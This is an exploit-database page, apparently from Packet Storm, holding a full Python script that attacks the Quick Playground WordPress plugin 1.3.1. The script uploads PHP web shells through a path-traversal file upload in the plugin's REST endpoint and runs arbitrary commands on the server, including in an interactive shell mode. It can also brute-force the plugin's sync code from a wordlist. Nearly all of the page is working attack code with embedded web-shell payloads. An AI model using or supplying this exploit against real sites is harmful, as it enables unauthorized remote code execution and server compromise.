Share
## https://sploitus.com/exploit?id=PACKETSTORM:222992
==================================================================================================================================
    | # Title     : Quick Playground for WordPress 1.3.1 โ€” Unauthenticated File Upload to Remote Code Execution                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip                                                |
    ==================================================================================================================================
    
    [+] Summary    : This script is a fully exploitation utility targeting an alleged unauthenticated file upload vulnerability in a WordPress plugin. 
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import base64
    import random
    import string
    import re
    import sys
    import argparse
    import time
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  Quick Playground WP 1.3.1 - Unauthenticated RCE              โ•‘
    โ•‘  CVE: CVE-2026-1830                                           โ•‘
    โ•‘  Author: indoushka                                            โ•‘
    โ•‘  Type: File Upload -> Remote Code Execution                   โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    DEFAULT_TARGET = "http://localhost:8080"
    DEFAULT_SYNC_CODE = "exploit123"
    DEFAULT_PROFILE = "default"
    
    class QuickPlaygroundExploit:
        def __init__(self, target, sync_code, profile="default", verbose=False):
            self.target = target.rstrip('/')
            self.sync_code = sync_code
            self.profile = profile
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Content-Type": "application/json",
                "Accept": "application/json"
            })
            self.uploaded_shell = None
            self.shell_url = None
        
        def log(self, msg, level="INFO"):
            """Print messages with appropriate formatting"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",     
                "SUCCESS": "\033[92m[+]\033[0m",  
                "ERROR": "\033[91m[-]\033[0m",  
                "WARNING": "\033[93m[!]\033[0m"  
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
            if self.verbose and level == "INFO":
                pass 
        
        def generate_filename(self, extension="php"):
            """Generate a random filename"""
            name = ''.join(random.choices(string.ascii_lowercase, k=8))
            return f"{name}.{extension}"
        
        def get_webshell_content(self, shell_type="simple"):
            """Creating Web Shell Content"""
            if shell_type == "simple":
                return b'''<?php
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
    }
    ?>'''
            elif shell_type == "advanced":
                return b'''<?php
    $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');
    if($cmd) {
        echo "<pre>";
        system($cmd . " 2>&1");
        echo "</pre>";
    }
    if(isset($_FILES['file'])) {
        move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
        echo "Uploaded: " . $_FILES['file']['name'];
    }
    ?>'''
            elif shell_type == "minimal":
                return b'<?=system($_GET["cmd"]);?>'
            else:
                return b'<?php system($_GET["cmd"]); ?>'
        
        def upload_shell(self, filename=None, shell_type="simple"):
            """Uploading the Web Shell to the server"""
            if filename is None:
                filename = self.generate_filename()
            
            shell_content = self.get_webshell_content(shell_type)
            shell_b64 = base64.b64encode(shell_content).decode()
    
            traversal = "../../../"
            full_path = f"{traversal}{filename}"
            
            payload = {
                "sync_code": self.sync_code,
                "filename": full_path,
                "base64": shell_b64
            }
            
            url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
            
            self.log(f"Uploading the shell to: {full_path}")
            self.log(f"Shell type: {shell_type}")
            
            try:
                response = self.session.post(url, json=payload, timeout=15)
                
                if response.status_code == 200:
                    try:
                        data = response.json()
                        msg = data.get("message", "")
                        
                        if "saving to" in msg.lower():
                            self.log("The file was uploaded successfully!", "SUCCESS")
                            self.uploaded_shell = filename
                            self.shell_url = f"{self.target}/{filename}"
                            return True
                        else:
                            self.log(f"Lifting failed: {msg}", "ERROR")
                            return False
                    except:
                        self.log("Unexpected response from the server", "ERROR")
                        return False
                else:
                    self.log(f"Response error: {response.status_code}", "ERROR")
                    return False
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Connection error: {e}", "ERROR")
                return False
        
        def execute_command(self, cmd):
            """Executing an order via Web Shell"""
            if not self.shell_url:
                self.log("Shell has not yet been lifted!", "ERROR")
                return None
            
            try:
                response = self.session.get(self.shell_url, params={"cmd": cmd}, timeout=10)
                
                if response.status_code == 200:
    
                    match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
                    if match:
                        return match.group(1).strip()
                    else:
                        return response.text.strip()
                else:
                    self.log(f"Error in executing the command: {response.status_code}", "ERROR")
                    return None
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Connection error: {e}", "ERROR")
                return None
        
        def test_vulnerability(self):
            """Testing for vulnerability without uploading a file"""
            self.log("Vulnerability testing...")
    
            test_content = b"<?php echo 'test'; ?>"
            test_b64 = base64.b64encode(test_content).decode()
            
            payload = {
                "sync_code": self.sync_code,
                "filename": "../../../test_vuln.txt",
                "base64": test_b64
            }
            
            url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
            
            try:
                response = self.session.post(url, json=payload, timeout=15)
                if response.status_code == 200:
                    self.log("There is a loophole! (Request accepted)", "SUCCESS")
                    return True
                else:
                    self.log("The vulnerability does not exist or the sync_code is incorrect.", "ERROR")
                    return False
            except:
                self.log("Target connection failed", "ERROR")
                return False
        
        def interactive_shell(self):
            """Interactive shell mode"""
            self.log("Entering interactive mode... Type 'exit' to exit", "SUCCESS")
            print("\n" + "=" * 50)
    
            self.log("System Information:")
            uname = self.execute_command("uname -a")
            if uname:
                print(f"Operating system: {uname}")
            
            whoami = self.execute_command("whoami")
            if whoami:
                print(f"  user: {whoami}")
            
            pwd = self.execute_command("pwd")
            if pwd:
                print(f"  Current path: {pwd}")
            
            print("\n" + "=" * 50)
            print("Interactive mode is ready!\n")
            
            while True:
                try:
                    cmd = input("\033[92mShell>\033[0m ").strip()
                    
                    if cmd.lower() == "exit":
                        self.log("Session adjourned...", "WARNING")
                        break
                    
                    if not cmd:
                        continue
    
                    if cmd.lower() == "clear":
                        print("\033c", end="")
                        continue
                    
                    if cmd.lower() == "help":
                        print("""
    Available commands:
    
    help - Display this help
    clear - Clear the screen
    upload - Upload a file (will be executed later)
    exit - Exit the shell
                        """)
                        continue
                    
                    result = self.execute_command(cmd)
                    if result:
                        print(result)
                    else:
                        print("[!]No output was obtained or an error occurred.")
                        
                except KeyboardInterrupt:
                    print("\n[!] Use 'exit' to exit")
                except EOFError:
                    break
    
    def brute_sync_code(target, wordlist_path):
        """Trying to guess sync_code from a dictionary"""
        print(f"[*] Attempting to guess sync_code using: {wordlist_path}")
        
        try:
            with open(wordlist_path, 'r') as f:
                codes = [line.strip() for line in f if line.strip()]
        except:
            print("[-] The dictionary file cannot be read.")
            return None
        
        test_payload = {"sync_code": "", "filename": "test.txt", "base64": "dGVzdA=="}
        url = f"{target}/wp-json/quickplayground/v1/upload_image/default"
        
        for code in codes:
            test_payload["sync_code"] = code
            try:
                r = requests.post(url, json=test_payload, timeout=5)
                if r.status_code == 200:
                    data = r.json()
                    if "saving to" in data.get("message", "").lower():
                        print(f"[+] ุชู… ุงู„ุนุซูˆุฑ ุนู„ู‰ sync_code: {code}")
                        return code
            except:
                continue
            
            print(f"[-] to fail: {code}", end="\r") 
            print("\n[-]No valid sync_code was found")
    		
        return None
    
    def main():
        parser = argparse.ArgumentParser(description="Quick Playground WordPress Plugin RCE Exploit")
        parser.add_argument("-u", "--url", default=DEFAULT_TARGET, help=f"Target (default): {DEFAULT_TARGET})")
        parser.add_argument("-c", "--code", default=DEFAULT_SYNC_CODE, help=f"Sync icon sync_code (hypothetical: {DEFAULT_SYNC_CODE})")
        parser.add_argument("-p", "--profile", default=DEFAULT_PROFILE, help=f"Profile (hypothetical: {DEFAULT_PROFILE})")
        parser.add_argument("-f", "--filename", help="Shell file name (random by default)")
        parser.add_argument("-t", "--shell-type", choices=["simple", "advanced", "minimal"], default="simple", help="type Web Shell")
        parser.add_argument("--cmd", help="Execute one command and then exit")
        parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
        parser.add_argument("--test", action="store_true", help="Testing for the existence of the vulnerability only")
        parser.add_argument("--brute", help="Trying to guess sync_code (Requires a dictionary file)")
        parser.add_argument("-v", "--verbose", action="store_true", help="View additional details")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.brute:
            found_code = brute_sync_code(args.url, args.brute)
            if found_code:
                print(f"\n[+] use: python3 {sys.argv[0]} -u {args.url} -c {found_code}")
            return
        exploit = QuickPlaygroundExploit(args.url, args.code, args.profile, args.verbose)
    
        if args.test:
            exploit.test_vulnerability()
            return
    
        if args.cmd:
            if exploit.upload_shell(args.filename, args.shell_type):
                result = exploit.execute_command(args.cmd)
                if result:
                    print(result)
            return
    
        if args.interactive:
            if exploit.upload_shell(args.filename, args.shell_type):
                exploit.interactive_shell()
            return
    
        if exploit.upload_shell(args.filename, args.shell_type):
            print(f"\n[+] Web Shell ready: {exploit.shell_url}?cmd=command")
            print("\n[*] Experimental information:")
            id_result = exploit.execute_command("id")
            if id_result:
                print(f"  user: {id_result}")
            
            print("\n[*] To enter interactive mode, use --interactive")
            print("[*] example: python3 exploit.py -u {} -c {} --interactive".format(args.url, args.code))
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================